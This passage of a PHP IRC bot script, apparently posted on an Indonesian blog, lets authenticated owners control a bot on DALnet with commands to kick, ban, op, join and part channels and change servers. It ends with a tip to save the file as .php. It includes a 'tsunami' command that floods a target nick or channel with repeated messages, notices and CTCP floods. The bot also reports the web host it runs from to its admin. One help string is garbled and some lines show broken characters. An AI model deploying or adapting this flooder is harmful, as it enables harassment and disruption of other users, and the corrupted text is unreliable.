fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'descr'))),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'country')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'changed:')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'person:')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'address')),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'CRSNIC has no information for that domain'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'No match for'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'This domain name has not been registered'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'NOT FOUND'),0,60). CRL);

}
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Authorized as '.$auth["$dNick"]["status"].' of this bot! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Password! Auth Failed! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already Authorized! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG ' . $dNick . ' :You`re LogOut! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already LogOut! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser <nick> <master/user> ' . CRL); }
} elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass33] <Spyderur Pass ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
} elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
$anick = str_replace("PRIVMSG ","",$dCommand);
if ($com[3]==':!auth') {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized!' . CRL);
} else {
$whois = $dNick;
fputs($fp,'WHOIS '.$dNick . CRL);
}
} elseif ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' is the Best!' . CRL);
} else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', Siapa sich loe?' . CRL); }
} elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==':`say' && $com[4] && $chan) {
$msg = strstr($data,":`say");
$msg = str_replace(":`say ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
}
elseif ($com[3]==':`dns' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($com[4]=="on") { $dns = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); }
elseif ($com[4]=="off") { $dns = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); }
}
elseif ($com[3]==':`whois' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($com[4]=="on") { $wdomain = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); }
elseif ($com[4]=="off") { $wdomain = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); }
}
elseif ($com[3]==':`act' && $com[4] && $chan) {
$msg = strstr($data,":`act");
$msg = str_replace(":`act ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :
ACTION '.$msg.'
'. CRL);
}
elseif ($com[3]==':`slap' && $com[4] && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :
ACTION slaps '.$com[4].' around a bit with a large trout
'. CRL);
}
elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
$msg = strstr($data,":`msg");
$msg = str_replace(":`msg $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`notice' && $com[4] && $com[5]) {
$msg = strstr($data,":`notice");
$msg = str_replace(":`notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
$msg = strstr($data,":`ctcp");
$msg = str_replace(":`ctcp $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :
'.$msg.'
'. CRL);
}
elseif ($com[3]==':`ping' && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :aw...aw...aw... '. CRL);
}
elseif ($com[3]==':`pong' && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :aw...aw...aw... '. CRL);
}
elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bphp = $_SERVER['PHP_SELF'];
fputs($fp,'PRIVMSG '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL);
}
elseif ($com[3]==':`up' && $chan) {
fputs($fp, 'PRIVMSG chanserv@services.dal.net :op '.$chan.' '.$nick . CRL);
}
elseif ($com[3]==':`down' && $chan) {
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
}
elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`tsunami");
$msg = str_replace(":`tsunami $com[4]","",$msg);
if (ereg("#", $com[4])) {
fputs($fp, 'JOIN '.$com[4] . CRL);
}
fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :
TSUNAMI '.$msg.'
' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :
FLOOD '.$msg.'
' . CRL);
if (ereg("#", $com[4])) {
fputs($fp, 'PART '.$com[4].' :'.$msg . CRL);
}
}
elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`cycle $com[4]","",$msg);
} else {
$partchan = $chan;
$msg = str_replace(":`cycle","",$msg);
}
if (strlen($msg)<3) {
$msg = $cyclem[rand(0,count($cyclem) - 1)];
}
fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':`part' && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`part $com[4]","",$msg);
} else {
$partchan = $chan;
$msg = str_replace(":`part","",$msg);
}
if (strlen($msg)<3) {
$msg = $partm[rand(0,count($partm) - 1)];
}
sleep(rand(1,6));
fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
}
elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]!="user") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
// fputs($fp, 'JOIN ' .$com[4]. CRL);
$addchan = strtolower($com[4]);
if (!in_array($addchan, $channel)) {
$channel[]=$addchan;
$channels.="$addchan ";
}
foreach ($channel as $v) {
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);
}
}
elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':`k' && $com[4] && $chan) {
$msg = strstr($data,":`k");
$msg = str_replace(":`k $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
}
elseif ($com[3]==':`kb' && $com[4] && $chan) {
$msg = strstr($data,":`kb");
$msg = str_replace(":`kb $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
}
elseif ($com[3]==':`op' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`deop' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`v' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`dv' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`detik' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=="on") { $dnews = "on"; }
elseif ($com[4]=="off") { $dnews = "off"; }
fputs($fp, 'PRIVMSG '.$dNick.' :Detik News is now '.$dnews . CRL);
}
elseif ($com[3]==':`log' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=="on") { $log = "on"; }
elseif ($com[4]=="off") { $log = "off"; }
fputs($fp, 'PRIVMSG '.$dNick.' :Query/Inviter LoG to Admin is now '.$log . CRL);
}
elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`awaymsg");
$msg = str_replace(":`awaymsg","",$msg);
if (strlen($msg)<3) {
$raway="on";
$awaymsg = $awaym[rand(0,count($awaym) - 1)];
} else {
$raway="off";
$awaymsg=trim($msg);
}
fputs($fp,'AWAY :[6Life for:4 '.$uptime.'12]7 (6'.$awaymsg.'7)'. CRL);
}
elseif ($com[3]==':`mode' && $com[4] && $chan) {
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
}
elseif ($com[3]==':`nickmode' && $com[4]) {
$nickmode = $com[4];
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
}
elseif ($com[3]==':`chanlist') {
fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
}
elseif ($com[3]==':`userlist') {
$userlist="Admin($Admin) ";
foreach ($auth as $user) {
if ($user["pass"]) { $pass="-pass ok"; }
else { $pass="-no pass"; }
if ($user["status"]!="Admin") {
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`quit");
$msg = str_replace(":`quit","",$msg);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
fputs($fp, 'QUIT �«�®�¤[JATIMCOM]�¤�®�»4 ShutDown by 12'.$dNick.'4('.$msg.')' . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom4 Changing vHoST by 12'.$dNick.'4 ('.$localhost.')' . CRL);
}
elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
if (!eregi(".dal.net",$com[4])) {
$remotehost = "irc.dal.net";
} else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom4Changing Server by 12'.$dNick.'4 ('.$remotehost.')' . CRL);
}
elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) {
$username = "Slave".randchar(3);
} else { $username = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCOm4 Changing IdentD by 12'.$dNick.'4 ('.$username.')' . CRL);
}
elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) {
$realname = "4Powered by JatimCom ";
} else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom4Changing FuLLNamE by 12'.$dNick.'4 ('.$realname.')' . CRL);
}
elseif ($com[3]==':`topic' && $com[4] && $chan) {
$msg = strstr($data,":`topic");
$msg = str_replace(":`topic ","",$msg);
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PRIVMSG '.$dNick.' :4 - Bot Help - Recod By Jatimcom -' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ auth <password> | !auth `auth | deauth | adduser <nick> <master/user> | deluser <nick> | pass <password> | chgpass <old pass> <new pass> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `say <message> | `act|slap <message> | `msg|notice|ctcp <nick> <message> | `ping/pong | `up | `down ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `cycle <#channel> <message> | `join <channel/#channel> | `part <#channel> <message> | `nickmode <+/-nickmode> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `tsunami <nick/#channel> <message> | `botnick <new nick> <identify> | `k/kb <nick> <message> | `op <nick> | `deop <nick> | `v <nick> | `dv <nick> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `detik|whois|dns <on/off> | `awaymsg <message> | `mode <+/-chanmode> | `chanlist | `userlist | `quit <message> | `vhost <ip address/hostname> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `jump <server.dal.net> | `ident <username> | `fullname <realname> | `topic <new chan topic> | `log <on/off> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :4 - End Of Help - ' . CRL);
}
// else { fputs($fp, 'NOTICE '.$dNick.' :Bad Command! Type: !help To Get My Help :P ' . CRL);
// }
} else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth <your pass> To Authorized '. CRL); }
}
}
elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
if (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '. $Admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL);
}
$inv = strstr($dFrom,'@');
foreach ($auth as $user) {
if ($user["status"]=="user") {
fputs($fp, 'NOTICE '.$user["name"].' :
KB '.$chan.' '.$dNick.' '.$inv.'
' . CRL);
}
}
}
}
elseif (!ereg("#",$dCommand)) {
if ($qnick["$dNick"]!=2) {
$qnick["$dNick"]++;
$querymsg = $querym[rand(0,count($querym) - 1)];
$querymsg = str_replace("nick",$dNick,$querymsg);
fputs($fp,'PRIVMSG '.$dNick.' :'.$querymsg . CRL);
}
if ($log=="on") {
fputs($fp,'PRIVMSG '.$Admin.' :6' . $dFrom . '12:' .$iText. CRL);
}
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG ' . substr($data,5) . CRL);
}
}
}
fclose ($fp);
} while ($keluar==0);

}
?>

simpan dengan extensi .php
perview liat disini «•‡•» JatimCom - PHP BoT «•‡•»

read more...